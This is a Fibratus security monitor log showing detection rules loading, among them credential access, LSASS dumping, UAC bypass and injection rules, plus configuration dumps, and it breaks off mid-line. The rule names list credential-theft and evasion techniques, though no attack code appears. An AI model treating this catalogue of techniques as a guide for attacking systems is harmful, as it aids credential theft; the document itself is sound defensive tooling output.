C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:30:51+01:00 level=info msg=bootstrapping with pid 7296. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:30:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>true enable-image=>true enable-threadpool=>false enable-net=>true buffer-size=>512 enable-audit-api=>true enable-vamap=>true max-buffers=>36 enable-fileio=>true enable-handle=>false flush-interval=>1s enable-registry=>true stack-enrichment=>true min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-size=>100 formatter=>text max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false timeout=>5s] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 enabled=>false healthcheck=>true index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false template-name=>fibratus flush-period=>1s timeout=>5s healthcheck-interval=>10s] amqp=>[ exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s routing-key=>fibratus durable=>false vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient passive=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false enabled=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:30:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:30:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:32:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:32:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:32:31+01:00 level=info msg=bootstrapping with pid 12352. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:32:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true enable-audit-api=>true buffer-size=>512 enable-net=>true enable-mem=>true min-buffers=>16 stack-enrichment=>true enable-dns=>false enable-thread=>true enable-fileio=>true enable-threadpool=>false enable-vamap=>true enable-handle=>false enable-registry=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ 